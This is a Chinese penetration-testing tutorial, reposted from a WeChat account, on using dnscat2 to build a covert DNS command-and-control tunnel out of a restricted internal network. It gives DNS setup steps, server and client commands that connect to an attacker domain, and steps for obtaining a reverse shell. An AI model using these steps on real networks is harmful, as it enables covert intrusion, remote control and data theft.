内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

  • A+
所属分类:安全文章

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术

dnscat2


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求

  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的 C&C 通信端口会被众多安全设备所监控,该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这种情况下,可以通过使用DNS建立隐蔽隧道来进行通信。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2具有如下特点:

  • 支持多个会话

  • 流量加密

  • 使用密钥防止MiTM攻击

  • 在内存中直接执行PowerShell脚本

  • 隐蔽通信


搭建dnscat2隧道步骤


(1):部署域名解析

首先,用一台公网的Linux系统的VPS作为C&C服务器(注意:VPS的53端口一定要开放),并准备好一个可以配置的域名(这里我们假设是hack.com)。然后,去配置域名的记录。首先创建记录A,将自己的域名www. hacker.com 解析到VPS服务器地址。然后,创建NS记录,将 test.hack.com 指向www. hacker.com  。

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)
  • 第一条A类解析是在告诉域名系统,www. hacker.com的IP地址是 xx.xx.xx.xx 。

  • 第二条NS解析是在告诉域名系统,想要知道 test.hack.com 的IP地址,就去问www. hacker.com  。

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

如何验证域名解析设置是否成功?在随便一台电脑上ping域名  ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup test.hack.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

(2):安装dnscat2服务端

在VPN服务器上安装dnscat2服务端。

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)
内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)
git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server/gem install bundlerbundle install

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


(3):在目标主机上安装dnscat2客户端

dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)
  • 如果目标服务器是Windows系统,则可以直接使用编译好的dnscat2客户端,或者PowerShell版本的dnscat2(目标机器需要支持PowerShell2.0以上版本)

  • 如果目标服务器是Linux系统,则需要在目标机器上执行如下命令安装客户端。

Linux安装dnscat2客户端

git clone https://github.com/iagox86/dnscat2.gitcd dnscat2/client/make

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

(4):测试客户端服务端是否连通

服务器目前在监听状态,执行以下命令测试客户端能否与服务器进行通信

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)
dnscat2-v0.07-client-win32.exe --ping test.hack.com

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

可以看到,服务器收到了客户端的请求

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)



中继模式建立隧道

服务端

服务端执行以下模式进行监听

ruby ./dnscat2.rb test.hack.com -e open -c [email protected] --no-cache    -e:指定安全级别,open表示服务端运行客户端不进行加密    -c:指定密钥    --no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


客户端

客户端(C语言版本的)执行以下命令,连接服务端

dnscat2-v0.07-client-win32.exe --dns domain=test.hack.com [email protected]

如下,客户端显示 Session established!,表示连接成功。


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


客户端(PowerShell版本)执行以下命令,连接服务端


dnscat2-v0.07-client-win32.exe --dns domain=test.hack.com [email protected]


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

客户端(Linux版本)执行以下命令,连接服务端

cd dnscat2/client./dnscat --dns domain=test.hack.com [email protected]


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


执行命令

我们服务端这边也会显示New window created:1 ,说明新建了一个session

然后我们执行下面命令

sessions      #查看当前建立的sessionwindows       #查看当前建立的session,和sessions一样session -i 1  #进入第一个session,和MSF一样window  -i 1  #进入第一个session,和session -i 1一样help          #查看命令帮助    clear:清屏    delay:修改远程响应延时    exec :执行远程机器上的指定程序,例如PowerShell或VBS    shell:得到一个反弹的shell    download、upload:上传、下载文件,速度较慢,适合小文件    suspend:返回上一层,相当于使用快捷键 Ctrl+Z    listen:类似于SSH隧道的-L参数(本地转发)    ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线    shutdown:切断当前会话    quit:退出dnscat2控制台    kill id:切断通道    set:设置值,例如设置 security=open

内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)



我们执行 shell,然后会反弹一个shell过来。接着执行 suspend 返回上一层,sessions查看,可以看到现在有两个session了。session -i 2进入反弹回来的shell,我们就可以执行CMD命令了

shell           #得到一个反弹的shellsuspend         #返回上一层session -i  2   #进入反弹过来的shell


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)


内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

相关链接:

内网渗透(二十一) | 内网转发及隐蔽隧道 :应用层隧道技术之使用DNS搭建隧道(iodine)

内网渗透(二十)| 内网转发及隐蔽隧道:使用DNS进行命令控制(DNS-Shell)

内网渗透(十九)| 内网转发及隐蔽隧道:使用ICMP进行命令控制(Icmpsh)

内网渗透(十八)| 工具的使用:MSF中获取用户密码

内网渗透(十七) | 内网转发及隐蔽隧道:使用SSH做端口转发以及反向隧道

内网渗透(十六) | 域分析工具BloodHound的使用

内网渗透 | 红蓝对抗:Windows利用WinRM实现端口复用打造隐蔽后门

内网渗透(十五) | psexec工具使用浅析(admin$)

内网渗透(十四) | 工具的使用|Impacket的使用

内网渗透(十三) | WinRM远程管理工具的使用

内网渗透(十二) | 利用委派打造隐蔽后门(权限维持)

内网渗透(十一) | 哈希传递攻击(Pass-the-Hash,PtH)

技术干货 | 工具:Social engineering tookit 钓鱼网站

技术干货 | 工具的使用:CobaltStrike上线Linux主机(CrossC2)

内网渗透(十) | 票据传递攻击

内网渗透(九) | Windows域的管理

内网渗透(八) | 内网转发工具的使用

内网渗透 | 域内用户枚举和密码喷洒攻击(Password Spraying)

内网渗透(七) | 内网转发及隐蔽隧道:网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)

内网渗透(六) | 工作组和域的区别

内网渗透(五) | AS-REP Roasting攻击

内网渗透 | 内网穿透工具FRP的使用
内网渗透(四) | 域渗透之Kerberoast攻击_Python
内网渗透(三) | 域渗透之SPN服务主体名称
内网渗透(二) | MSF和CobaltStrike联动
内网渗透 | 域内认证之Kerberos协议详解
内网渗透(一) | 搭建域环境

本文始发于微信公众号(安世加):内网渗透(二十二) | 内网转发及隐蔽隧道:使用DNS进行命令控制(dnscat2)

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: